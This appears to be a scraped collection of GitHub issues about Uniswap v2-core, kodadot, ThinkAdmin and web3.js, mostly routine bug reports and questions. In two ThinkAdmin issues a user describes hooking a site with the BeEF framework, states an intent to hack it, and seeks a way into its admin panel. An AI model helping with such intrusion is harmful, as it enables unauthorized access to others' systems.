![image](https://user-images.githubusercontent.com/16411474/91829437-0e63bb80-ec74-11ea-82d9-a34ea8703ead.png)


yarn test failed

Error: transaction failed [ CALL_EXCEPTION ]  on UniswapV2Pair

we are using getAmountsOut function to get the estimated amount of token to be swapped , once we pass 8.7 eth , the amount of specific token it returns as raw value is something around 7.9 eth and we got sandwiched. 

What can be the possible issue here ? 

![image (6)](https://github.com/Uniswap/v2-core/assets/146342363/19eb21d6-3af8-49a8-ace3-36c797c6e976)


getAmountsOut returns amount which is way less than the actual amount showing in UniSwap app

The current [integer square root function](https://github.com/Uniswap/v2-core/blob/master/contracts/libraries/Math.sol#L11) is inefficient. It should be improved.

Improve Integer Square Root

`yarn compile` works fines.
but `yarn test` meet error.
such as `merkle-patricia-tree callback is already called`
I find a workaround and run `yarn test` successfully.

I work with a M1 Macbook, and my node version is v18.16.0. it can't run `yarn test`.
I switch to node 12 and run command line with Rosetta, cause node 12 doesn't support arm64.
Finally, it works well.

If someone else is experiencing similar problems, hope he can help you.




yarn test meet error

Hi, I want to save gas with solidity inline assembly when calling UniswapV2 pair's swap function. Here is my code:
```
pragma solidity >=0.8.0;

import "./interface/IERC20.sol";
import "./lib/SafeTransfer.sol";

contract Mycontract {

    // transfer(address,uint256)
    bytes4 internal constant TRANSFER = 0xa9059cbb;
    // swap(uint256,uint256,address,bytes)
    bytes4 internal constant PAIR_SWAP = 0x022c0d9f;

    // Contructor sets the only user
    receive() external payable {}

    fallback() external payable {
        assembly {

            let pair := shr(96, calldataload(0x00))
        
            let tokenAmountOut := calldataload(0x14)
            
            mstore(0x00, PAIR_SWAP)
            mstore(0x04, tokenAmountOut)
            mstore(0x24, 0)
            mstore(0x44, address())
            mstore(0x64, ???)  // I want the length of this is zer0, what value shoud it be?
            
            let s := call(sub(gas(), 5000), pair, 0, 0x00, ???, 0, 0) // what the length should be?
            
        }       
    }        
}
```
The parameters of swap function are: 
```
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data)
```
I can store uint, and address variables in memory, but I want calldata_data be zero-length bytes, so what value should be stored from 0x64?  Thanks! 


Store dynamic bytes to call swap function with solidity assembly

In a lot of cases (over 6 million since inception), the UniswapV2Pair swap event is emitted with both Amount0In and Amount0Out greater than zero.

Examples: 
1. https://etherscan.io/tx/0xb91c8441ab08cd612225b4ded46054ce0a48f1e07347995ef22a4cc552c18895, log_index 69
2. https://etherscan.io/tx/0x39b259e1ece6da2d865003875ff841cba963836458fac1bb253bb2365bcd6767,  log_index 148

What does the amount0In log mean in this case? 
In addition, there is sometimes a mismatch between the AmounOut in the log, and the amount of token that is transferred to the  next step in the route. In example 2, the amount transferred is 8755596609890 (log_index 146), while the amount_out is 9216417484093 (log_index 148).

Is there a bug in the logging mechanism?

Both Amount0In and Amount0Out Present in Logs

Hi,

When I call following **getPair** under uniswapFactory contract I created via ethers.Contract in my javascript it doesn´t return any pair address.

```
const UniswapV2Factory = require("./build/contracts/IUniswapV2Factory.json");

uniswapFactory = new ethers.Contract(
		'0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f', // uniswap v2 factory address in Etherscan mainnet
		UniswapV2Factory.abi, wallet
	);

	const pairAddress = await uniswapFactory.getPair(wethAddress, otherAddress);
  	const pair = new Contract(pairAddress, UniswapV2Pair.abi, wallet);
	console.log("yeah2!");
```
Strange thing is if I removed `await `keywork it returns _Promise { <pending> }_.

However, if I run `await uniswapFactory.getPair(wethAddress, otherAddress);`  directly under Truffle console it resolves the pair address correctly.

Any suggestions would be greatly appreciated as it´s been bugging me also for a very long time.

Thank you

getPair call via Ethers.Contract does not return a pair address

hey,
when I call the next function :

```
function swapExactTokensForTokens(
  uint amountIn,
  uint amountOutMin,
  address[] calldata path,
  address to,
  uint deadline
) external returns (uint[] memory amounts);

```

I need to find the full path data .
As we know , there will have more than two pairs for ``` address[] path ```,  so how to get the right and full path result ?

how to get the full and right  address[] path for  swapExactTokensForTokens ?

Instead of this [line](https://github.com/Uniswap/v2-core/blob/8b82b04a0b9e696c0e83f8b2f00e5d7be6888c79/contracts/UniswapV2Factory.sol#L26), the check contract logic can be written by introducing a function like this:

```solidity
/**
 * Check that the account is an already deployed non-destroyed contract.
 * See: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol#L12
 */
function _checkContract(address _account) private view {
    require(_account != address(0), "Account cannot be zero address");

    uint256 size;
    // solhint-disable-next-line no-inline-assembly
    assembly {
        size := extcodesize(_account)
    }
    require(size != 0, "Account code size cannot be zero");
}
```



`CheckContract` for token contracts

A new swap layer for the https://baneth.elementor.cloud

Ultraswap

<img width="554" alt="image" src="https://github.com/user-attachments/assets/99601d87-7a04-4887-942b-0aa277e58fb4">


in handoff, small things page: https://www.figma.com/design/JXNtryaNYhY0XJNArzvPQx/Handoff?node-id=1287-18959&t=fKuMxetXlmOjaH56-11


# Notes
- it will be shown only when the wallet has at least a name
- please make sure its responsive, longer names truncate 
- its the same tag as the network tag on the drop cards - there is just the profile picture instead of the network icon 

UX first

A-wallet

A-sidebar

Add context offchain profile to wallet connection

Collection: https://koda.art/ahp/collection/158?art_view=true&page=2
<img width="1299" alt="Screenshot 2024-07-26 at 13 55 10" src="https://github.com/user-attachments/assets/7c7c5a9c-297e-444e-ac14-176e5bbc1e34">


A-collection

Whats this?

This collection - https://kodadot.xyz/ahp/collection/175
AHP - not sure where is the issue

Looks like this:

https://github.com/user-attachments/assets/bb413929-801d-4d9d-bca5-4621d8cdb449



Missing mints

### What happened?

I try to **create a Profile** with a **Talisman** account connected to **Ledger** and I get an error:
`Error: Error: [PROFILE::UPLOAD_IMAGE] ERROR: [object Object]`

### Please reproduce in steps

'Create Profile' -> 'Create Profile' -> 'Start Fresh' -> 'Finalization'
You need to use an account on **Talisman** connected through **Ledger**. 
Browser: Brave [Version 1.67.123 Chromium: 126.0.6478.126 (Official build) (64 bits)]

### Expected Behavior

I should accept my profile creation request

### What browsers are you seeing the problem on?

_No response_

### At which address did you encounter bug?

kodadot.xyz

### Are you logged in?

None

### Which wallet you are using?

Talisman

### Screenshots

[error_create_profile_with_talisman_and_ledger.webm](https://github.com/user-attachments/assets/36ed18f5-baeb-48f0-b72d-a084f0dc610f)


### Wallet Address & Transaction hash

Address: 16a8wjF1Kt4irWBFs8hm81xyhDbjgbWVosR42PgP5dX9TpcX

### Relevant log output

```shell
Url: https://kodadot.xyz/ahp/u/16a8wjF1Kt4irWBFs8hm81xyhDbjgbWVosR42PgP5dX9TpcX
Browser: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Wallet: talisman
Chain: ahp
Error: Error: [PROFILE::UPLOAD_IMAGE] ERROR: [object Object]
```


### Payment link for reward

_No response_

### Code of Conduct

- [X] I agree to follow this project's Code of Conduct

core functionality, or is affecting 60% of app

A-statemint-ahp

[Ledger] Cannot create profile using Talisman + Ledger

### Context 

Failing reviewdog is currently blocking all PRs 

### Task

Fix eslint issues so reviewdog can work normally

### Original

 reviewdog is failing

![Screenshot 2024-07-23 at 10 33 12](https://github.com/user-attachments/assets/a9b5938f-1569-4319-8da2-26628c3bc157)

_Originally posted by @vikiival in https://github.com/kodadot/nft-gallery/issues/10661#issuecomment-2244590133_
            

as new commer, something you could start with

Reviewdog is failing

https://app.warp.dev/block/7KXK80penFP5ospiPyJ2Ml

_Originally posted by @preschian in https://github.com/kodadot/nft-gallery/issues/10630#issuecomment-2230208674_
            
Need manual fix. Command: `pnpm run lint:quiet`

enhancement

Fix leftover eslint issues

<img width="618" alt="image" src="https://github.com/user-attachments/assets/ca486682-be06-41a9-b656-86dbbe5b44eb">

i have connected a evm wallet, but after disconnecting, it does not look like to go from the "disconnecting..." state

closing and reopening the sidebar works, but without that, not

Disconnecting evm wallet 

Go with flow https://magic.link/pricing
Explore if we can store some private bytes

stale

Create user profiles signup smooth experience with magic

Validation like `Symbol already in use` could be nice

validation

Check if the symbol is unique for particular user

![Screenshot 2024-07-19 at 09 49 59](https://github.com/user-attachments/assets/facd5456-becc-49a6-9cde-22876a0f39ab)

- https://github.com/kodadot/nft-gallery/actions/runs/10003849371/job/27651450217


A-tests

A-drop-page

Failing test 

<img width="1401" alt="image" src="https://github.com/user-attachments/assets/c5e4f2a7-5551-46a9-8076-cc65566e9e9f">



## Question
- does all drops load simultaneously ? Because the skeleton is there till all the drops load
	- if so, would not it be better if they would load one by one, so the first one (newest), will load fastest 

A-drop-calendar

Skeleton loading on drops 

<img width="563" alt="image" src="https://github.com/user-attachments/assets/cf369273-e886-4808-8473-d4554a046c76">


Mobile users struggle 


task: 
fix collection, check explorer

A-mobile

collection sort overflowing 

<img width="1266" alt="image" src="https://github.com/user-attachments/assets/4be1ef8a-89cc-4a3e-a67e-798d75019bbb">

it should not happen, you can see in the sidebar that the account is connected, even though I cancelled the connect from the wallet popup. 


this one, on metamask: 
<img width="365" alt="image" src="https://github.com/user-attachments/assets/60f850f4-3886-4e1e-a8e4-abd876ef2c24">


then bunch of other bugs can happen 




Cancelled connect results in connected evm account on koda

We should finish the transition with switching to the koda.art domains 

canary.koda.art
beta.koda.art 

canary and beta domains with koda.art 

> * will on ramp work if i use it on a evm account?

not atm because it will try to buy DOT , just checked and transak does support ETH on `base` and `imx` 

base
![CleanShot 2024-06-05 at 10 25 26@2x](https://github.com/kodadot/nft-gallery/assets/44554284/feeb7447-325c-4d27-a29e-91a88b07f2f6)

imx
![CleanShot 2024-06-05 at 10 31 06@2x](https://github.com/kodadot/nft-gallery/assets/44554284/9df88219-e0ae-4d49-be89-7e1383c1055f)

_Originally posted by @hassnian in https://github.com/kodadot/nft-gallery/issues/10354#issuecomment-2148888725_
            

after https://github.com/kodadot/nft-gallery/pull/10670

Support `Adding Funds` on EVM 

I cannot scroll through the following profiles. When I open my profile and click on people, I follow (42 of them). I cannot scroll them and I see only part of them - only 10 of them.

<img width="1617" alt="Screenshot 2024-07-26 at 14 58 13" src="https://github.com/user-attachments/assets/470c5c48-d2e0-4860-989b-f9b9e605779b">

My profile: https://kodadot.xyz/ahp/u/1NFfEH3yspdEgLnhZ5QWgb7B2z5LNCAE3HUo5nDxF5MqTcj

A-profile

Cannot scroll in following profiles

It took me a minute till I realized why I could not mint Polkadot drop. Im logged with evm wallet.

<img width="1323" alt="Screenshot 2024-07-26 at 11 27 25" src="https://github.com/user-attachments/assets/572de827-ae0e-4fb0-808e-f35bce1b4cbb">

Can we come up with some user-friendly solution how to make clear for users that they need to switch wallet in order to mint this drop? 

When logged in with EVM wallet: Show switch wallet on Drops

burning does nothing

_Originally posted by @JustLuuuu in https://github.com/kodadot/nft-gallery/issues/10670#issuecomment-2250337134_
            

after https://github.com/kodadot/nft-gallery/pull/10670

Support NFT burning on EVM 

Listing not working - when I click on List it opens window to add price in ETH but when click on list does nothing
<img width="1191" alt="Screenshot 2024-07-25 at 15 25 17" src="https://github.com/user-attachments/assets/fafb1e2d-737c-4eba-87d7-8f52f2dba9aa">

_Originally posted by @JustLuuuu in https://github.com/kodadot/nft-gallery/issues/10670#issuecomment-2250337134_
            

after https://github.com/kodadot/nft-gallery/pull/10670

S-blocked-✋

Support NFT listing on EVM

Unable to transfer - added eth address and its showing that its not Polkadot address. added Polkadot address and signing does nothing (obviously)
<img width="1184" alt="Screenshot 2024-07-25 at 15 30 44" src="https://github.com/user-attachments/assets/a177c146-b4c4-4906-89ae-d579f2ea07ee">


_Originally posted by @JustLuuuu in https://github.com/kodadot/nft-gallery/issues/10670#issuecomment-2250337134_
            

after https://github.com/kodadot/nft-gallery/pull/10670

Support NFT transfers on EVM 

通过data-modal在列表打开一个新的列表弹窗，切换弹窗中的列表显示个数会导致父级窗口内容与弹窗内容变的一模一样

用了ThinkAdmin一段时间了，挺不错的得先夸一下你6666
然后想说几个我觉得比较重要的建议。
我觉得后台真的还差这两个功能，就算是实用了！

1，在添加商品的商品内容那里，需要加一个切换设置商品内容的模板的分组，额就是像现在已经有的商品规格分组那种。

因为很多的商城前台的商品介绍里正常都会有一个产品参数这么一个东西:
![image](https://user-images.githubusercontent.com/14259765/55762766-5d1f1d00-5aa3-11e9-9469-e7b742eaac77.png)
或者这样(右半边)：
![image](https://user-images.githubusercontent.com/14259765/55762932-24cc0e80-5aa4-11e9-8b9d-bee14b08bb18.png)
如果写在商品图文里是不合适的，每次新建商品时都要重复写，写在图文里我们不好单独提取出来，也没办法拿去做商品搜索结果页的过滤功能。

所以在输入商品内容哪里，除了输入简单的图文，还需要能够设置比较复杂的商品内容，就是像商品规格分组那样，在做一个选择商品内容的模板的分组。比如说在设置商品内容的模板的分组那里，让我们可以设置无限的键名，然后我们在输入商品内容的时候，除了写图文，还能在选一个商品内容的模板，把值填上就好了。

2.添加商品图片时，允许给每一张加文字

很多商城前台在显示商品图片是有配图片的文字的，比如说明这张图片时商品正面照，如果我们把图片放在商品内容是时没有七牛云静态文件加速的，还很耗数据库。。。

给添加商品图片那里，给每一张图片加个文本框把，这样如果加了很多图片也好区分。。

最后还有一个可能就是补充一下手册，给点例子比如怎么加菜单，加表单内容，设置对话框，前后端具体怎么交互的一个流程，给一个空白、演示构建表格，表单菜单的模板
然后也说一下数据是怎么从于数据库是怎么于前端表单存取的，你的想法都挺厉害的，但是我们希望你写一下基本实现的方法，比如你没有用模型啊这种，然后也有些人和我一样不会VUE.js，对前端不太了解，需要你给一个上手快的手册
我基本上是看完了你所有代码(本人有大概用了两年TP5.1)才知道该怎么在页面里改或者加东西

谢谢啦，看了麻烦给个回馈



提几个比较大众的建议

### 方法路径 app\wechat\service\WechatService -> getWebOauthInfo()

_此处，若$source存在锚点#号，如 https://xxx.com/#/home?a=1&b=2 ，parse_url返回null，参数丢失导致微信授权回调地址异常_
**parse_str(parse_url($source, PHP_URL_QUERY), $params);**

_这里的 $params 自然就缺失 a=1&b=2 参数_
**$location = strstr("{$source}?", '?', true) . '?' . http_build_query($params);**


微信公众平台直接模式，通过网页授权获取粉丝信息，解析 GET 参数失败问题

【恢复规则管理】添加转客服的关键词，发送关键词客服收不到？

hello!
i have this site link login admin page https://iweoe.com/admin/login/index_2.html
first time they open to login and affter i login i can go  https://iweoe.com/admin.html#/admin/users/index.html? to manage all users
but then they delete link admin login, and i cannot login cannot access admin page
but i see them still manager users, they can do anything, i dont understand how they can do that, or they have other way to access admin page!
i guess they use thinkadmin 5
![image](https://github.com/zoujingli/ThinkAdmin/assets/141816442/81dccaa7-70f6-4684-9f7c-cf6d05c15e3c)


delete link login admin page! how admin can manager?

dear you guys!
i found some site use thinkadmin
first time they have link to login admin page
https://zcccev.com/admin/login/index_2.html
after they know i got user, password, they delete link login i cannot access
but i has been insert beef framework and know they still access admin page
![image](https://github.com/zoujingli/ThinkAdmin/assets/140687353/88f5cba0-bddd-4672-a429-16f5ddb35d24)

i want ask, how they can do that? they has been delete link login, but they still access admin page to manager
p/s: that site use thinkadmin to make website scam, then i want hack them 

how access admin page while delete link login?

i got some problem want contact to you in dm, how can i dm you? you can share infomation telegram or twitter, i want contact you

hello zoujingli i have some problem want talk to you

![image](https://github.com/zoujingli/ThinkAdmin/assets/26106432/3c1e18d3-ddac-4987-901e-35c17affe934)


通过网页授权获取粉丝信息  getWebOauthInfo 函数 

![image](https://user-images.githubusercontent.com/31238774/217741415-000cd84e-5a0f-4000-9486-b90312740b87.png)


本地自己配置了个站点,login成功就是这个?

文件：app/data/api/auth/Order.php
add 方法（会员创建订单）
未将code写入codes中
需要在循环中加入
`$codes[] = $code;`

部分代码
```
 foreach (explode('||', $rules) as $rule) {
            [$code, $spec, $count] = explode('@', $rule);
            **$codes[] = $code;**
            // 商品信息检查
            $map = ['code' => $code, 'status' => 1, 'deleted' => 0];
            $goodsInfo = $this->app->db->name('ShopGoods')->where($map)->find();
```

商品下单有一个BUG

原因：按照[线上生产环境部署文档 =》Nginx 服务器配置 ](https://thinkadmin.top/guide/install.html#%E7%BA%BF%E4%B8%8A%E7%94%9F%E4%BA%A7%E7%8E%AF%E5%A2%83%E9%83%A8%E7%BD%B2)，配置完毕，发现 缺少 `fastcgi_param PATH_INFO` 配置，程序运行不起来

验证：使用 [免安装的 nginx php-fpm 运行本项目](https://www.cnblogs.com/jingjingxyk/p/18253351)

```nginx

         root    /data/web/ThinkAdmin/public/;

        location / {

            # 方式一：
            # try_files $uri /index.php$request_uri;

            # 方式二：
            if (!-e $request_filename) {
                rewrite ^(.*)$ /index.php$1 last;
                # break;
            }
            index  index.php index.html index.htm;
        }

        location ~ ^/index\.php(/|$) { 
            # fastcgi_index   index.php;
            fastcgi_pass    127.0.0.1:9000;
            # fastcgi_pass  /var/run/php-fpm.sock ;

            fastcgi_split_path_info ^(.+\.php)(/.*)$;
            fastcgi_param PATH_INFO $fastcgi_path_info;

            include         fastcgi_params;
            fastcgi_param   SCRIPT_FILENAME    $document_root$fastcgi_script_name;
            # fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
            # fastcgi_param DOCUMENT_ROOT $realpath_root;
            fastcgi_param   SCRIPT_NAME        $fastcgi_script_name;
            fastcgi_hide_header X-Powered-By;
        }


```

补全： 线上生产环境部署 =》Nginx 服务器配置 文档

在哪里开启debug呀，没找到

ThinkPHP and ThinkAdmin looks interesting, is there any English documentation for it?

Thanks

Is there any English documentation for ThinkAdmin or ThinkPHP?

文件上传后，在系统文件管理 不能下载txt文件，可以兼容下吗.xlsx可以下载的

能加上 本地自动生成文件，也走admin.api.file这个操作吗

希望提供一下 https://doc.thinkadmin.top/thinkadmin-v5

v5 文档页打不开

[通用 - 标准接口
](https://thinkadmin.top/system/extra-interface.html)

token 通过 JwtExtend::token($user) 生成之后，如何在调用接口的时候进行验证呢，手动，自己写base控制器  JwtExtend::verify 之外，有没有实现好的逻辑，望赐教
另外,请求头设置了 Api-Name ，Api-Token之后，逻辑好像没有走到这里
<img width="1039" alt="image" src="https://github.com/zoujingli/ThinkAdmin/assets/7435144/3b4b536b-2db4-4359-905d-86cc8b7f5dba">


关于    通用 - 标准接口 有疑问

```
Executing async command (CWD): rm -rf '/var/www/5085/vendor/composer/8783fe27'
  > Exec Plugin zoujingli/think-plugs-wechat  
  > Copy Source src to app/wechat 
    Install of zoujingli/think-plugs-wechat failed
Executing async command (CWD): rm -rf '/var/www/5085/vendor/composer/18b33629'
  > Exec Plugin zoujingli/think-plugs-static  
    Install of zoujingli/think-plugs-static failed
Downloading https://packagist.org/downloads/

In Filesystem.php line 356:
                                                                                                                                               
  [UnexpectedValueException]                                                                                                                   
  RecursiveDirectoryIterator::__construct(/var/www/5085/vendor/zoujingli/think-plugs-wechat/src): Failed to open directory: Operation not per  
  mitted                                                                                                                                       
                                                                                                                                               

Exception trace:
  at phar:///usr/bin/composer/src/Composer/Util/Filesystem.php:356
```

安装时候报错，php使用的 8.1

Install of zoujingli/think-plugs-wechat failed

$allow 参数只会过滤第一个值，第二个就不生效了
这是解决后的方法


`
function str2arr(string $text, string $separ = ',', ?array $allow = null): array
{
    $items = [];
    foreach (explode($separ, trim($text, $separ)) as $item) {
        $trimmedItem = trim($item);
        if ($trimmedItem !== '' && (is_null($allow) || in_array($trimmedItem, $allow))) {
            $items[] = $trimmedItem;
        }
    }
    return $items;
}

`

common.php 的 str2arr 函数有问题！

### Is there an existing issue for this?

- [X] I have searched the existing issues

### Current Behavior

`Accounts.signTransaction()` can generate a stray Promise under JS job queue, and there's no way for library users to catch any exceptions the stray promise throws, which can [kill the entire Node.js process](https://nodejs.org/api/process.html#event-uncaughtexception). A library shouldn't allow this to happen.

### Expected Behavior

`try { ... await account.signTransaction(tx) } catch (e) { ... }` should be able to catch any exceptions thrown (conceptually) within `signTransaction()` method

### Steps to Reproduce

Set `tx.maxPriorityFeePerGas` but not `maxFeePerGas` and send it to BSC (or any EVM-compatible blockchains without EIP-1559) to hit this `throw` at
https://github.com/ChainSafe/web3.js/blob/2b7c50a4cd27e5b21def779dd757cdacd2afd31a/packages/web3-eth-accounts/src/index.js#L433

Yes I know that doesn't make sense at all, but that's another story. A bug in our quick & dirty sandbox script led me to the issue.

### Web3.js Version

1.7.0

### Environment

_No response_

### Anything Else?

`_handleTxPricing()` runs something like
```
return new Promise((resolve, reject) => {
  try {
    Promise.all([two async REST calls]).then(
      ...use the return value of the two REST calls...;
      resolve(suggested values for maxPriorityFeePerGas and maxFeePerGas))
  } catch (e) { reject(e) }
}
```
to asynchronously return the suggested values with `resolve()`, but I think the problem is that any exceptions thrown within the inner `Promise.all()` (and its `then()` chain) aren't propagated to `reject()` from the outer Promise.

Here is what I believe is a minimal repro: [TS playground](https://www.typescriptlang.org/play?#code/DYUwLgBGAWBOD2B3A+hAvFWBXEAoXAZlgHYDGYAlvMRAQBQCUEA3rhBLOFrDcSIhAAKCALYUAziDp1O4+MABuIADQcQAKxDkmaAHws27TAE8DRo6WpzQAOmDwA5nQDkwAIYlS0CsQcQ3wMDODIbmwvBikjYBwHQA2gC6DDYwIMTSsljAYOI6+qzm5pbE1iB2ji4xALSpNJykIBRKACbOqpnZuaGFFAQQdDAIKEwFhUVW8mX2Ts6DSD5+WAAOwd1jcwIAorAIsC7ibq0hY+wAvmsWE7bTlYE10GkQzdQgqydq1koyIOJZOceFU4A8YlSblGbuTwPZr+QJvIynCCkNxgLz9EAjC7FUrglycTTkBYQRAUGBtCAYi74rRgOiU8znM4hc64NziYxkWieSjUCBOTHsMCwUyjdjYyAdHLofyINyk2iMbrYsE3Zx+eqNFrkyVdM5IlFoukCy6g64VNX6rAOaBgcn0iDnFnKs0zcRgNywSi+Vb8mzI1HQOnofTOqbm16qDEhUO41xsyAAGQA8gBhYJAA)

JS isn't among my core expertise, I can't use JS Promise without async/await so this is all I can share.

Ping @spacesailor24 according to Git history

Investigate

Stale

Some exceptions thrown by web3-eth-account cannot be caught

- Create a Metamask Tutorial step by step (with code blocks) like the [HTML](https://docs.web3js.org/guides/wallet/metamask) one
- Add a code editor like the [web3Modal tutorial](https://docs.web3js.org/guides/wallet/web3_modal_guide/vue) to showcase the real usage of it? To be confirmed by @luu-alex 

Documentation

Metamask Tutorial (using React)

#### Expected behavior

Usually I was adding:

`maxPriorityFeePerGas: null,
        maxFeePerGas: null`

to the send object and with this it was skip the site suggest and going directly on market suggested by metamask, moved now to 4.9.0 and by reading the documentation I see it should be:

`maxPriorityFeePerGas: undefined,
        maxFeePerGas: undefined`

#### Actual behavior

Despite the "fix" metamask still receive a wrong site suggested fee, while I was expecting to not have the site suggested fee at all.



Avoid site suggest gas fee - stick with Market

### env
web3.js: v4.9.0
node: v18.18.2
pnpm: v8.7.2


The contract address: https://basescan.org/address/0x19ceead7105607cd444f5ad10dd51356436095a1#code


I downloaded the contract abi and generated signatures for each writable function. However, I found that some functions have different signatures from online.

eg.
```
const abiItem = {
  inputs: [
    {
      components: [
        { internalType: 'address', name: 'inputToken', type: 'address' },
        { internalType: 'uint256', name: 'inputAmount', type: 'uint256' },
        { internalType: 'address', name: 'inputReceiver', type: 'address' },
        { internalType: 'address', name: 'outputToken', type: 'address' },
        { internalType: 'uint256', name: 'outputQuote', type: 'uint256' },
        { internalType: 'uint256', name: 'outputMin', type: 'uint256' },
        { internalType: 'address', name: 'outputReceiver', type: 'address' },
      ],
      internalType: 'struct OdosRouterV2.swapTokenInfo',
      name: 'tokenInfo',
      type: 'tuple',
    },
    { internalType: 'bytes', name: 'pathDefinition', type: 'bytes' },
    { internalType: 'address', name: 'executor', type: 'address' },
    { internalType: 'uint32', name: 'referralCode', type: 'uint32' },
  ],
  name: 'swap',
  outputs: [{ internalType: 'uint256', name: 'amountOut', type: 'uint256' }],
  stateMutability: 'payable',
  type: 'function',
};

const signature =new Web3().eth.abi.encodeFunctionSignature(abiItem) //0x3b635ce4
```
The attachment below is the online signature, it is different. So there is a bug in the method. (Maybe the online web page shows the wrong signature, not sure!)
![image](https://github.com/web3/web3.js/assets/40735433/5e0f5153-d002-4b21-ae03-97ccf5d6d65f)




encodeFunctionSignature returned signature is not identical with online

https://github.com/web3/web3.js/blob/4.x/packages/web3-eth-contract/test/integration/contract_methods.test.ts#L151
contract method revert for hardhat should return an error with revert but instead returns a contract execution with a receipt of undefined.



this is the error from event emitter 
ContractExecutionError: Error happened while trying to execute a function inside a smart contract
          at Function._isReverted (/Users/alexluu/4.x/web3.js/packages/web3-core/src/web3_request_manager.ts:432:48)
          at Web3RequestManager._processJsonRpcResponse (/Users/alexluu/4.x/web3.js/packages/web3-core/src/web3_request_manager.ts:361:35)
          at Web3RequestManager.<anonymous> (/Users/alexluu/4.x/web3.js/packages/web3-core/src/web3_request_manager.ts:206:16)
          at Generator.next (<anonymous>)
          at fulfilled (/Users/alexluu/4.x/web3.js/packages/web3-core/lib/commonjs/web3_request_manager.js:21:58)
          at processTicksAndRejections (node:internal/process/task_queues:96:5) {
        cause: [Eip838ExecutionError: Error: VM Exception while processing transaction: reverted with reason string 'REVERTED WITH REVERT'] {
          cause: [Eip838ExecutionError: Error: VM Exception while processing transaction: reverted with reason string 'REVERTED WITH REVERT'] {
            cause: undefined,
            code: undefined,
            receipt: undefined,
            data: '0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000145245564552544544205749544820524556455254000000000000000000000000'
          },
          code: -32603,
          receipt: undefined,
          data: '0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000145245564552544544205749544820524556455254000000000000000000000000'
        },
        code: 310,
        receipt: undefined
      }

but only returns

Object {
    +   "name": "ContractExecutionError",
    +   "receipt": undefined,
      }
check revert error constructor


#### Expected behavior

#### Actual behavior

#### Steps to reproduce the behavior

1. [First step]
2. [Second step]
3. [and so on...]

#### Logs



#### Environment

hardhat contract revert error investigation

Reported internally
Due to an update in geth, using web3js and sending a transaction users may run into an issue of trying to get a receipt of no blocks and getting an error instead `transaction indexing is in progress`.

Possible solution: Web3js should poll until a block is posted when receiving `transaction indexing is in progress`

#### Expected behavior

#### Actual behavior

#### Steps to reproduce the behavior

1. [First step]
2. [Second step]
3. [and so on...]

#### Logs



#### Environment

web3 send fails on new local testing environments 

Remove per package coverage info table in PRs by modifying codecode github ci, 
___


Analyze open-source projects

Just paste the link to GitHub repo and we'll generate a report for you

Previously analyzed projects

blockworks-foundation/mango-v4

lukasmasuch/best-of-crypto

OpenZeppelin/openzeppelin-contracts

Uniswap/v2-core

kodadot/nft-gallery

zoujingli/ThinkAdmin

web3/web3.js

cosmos/ibc-go

ethereum/solidity

cosmos/cosmos-sdk

ipfs/kubo

MinaProtocol/mina

facebook/react

ethereum/sourcify

highlight/highlight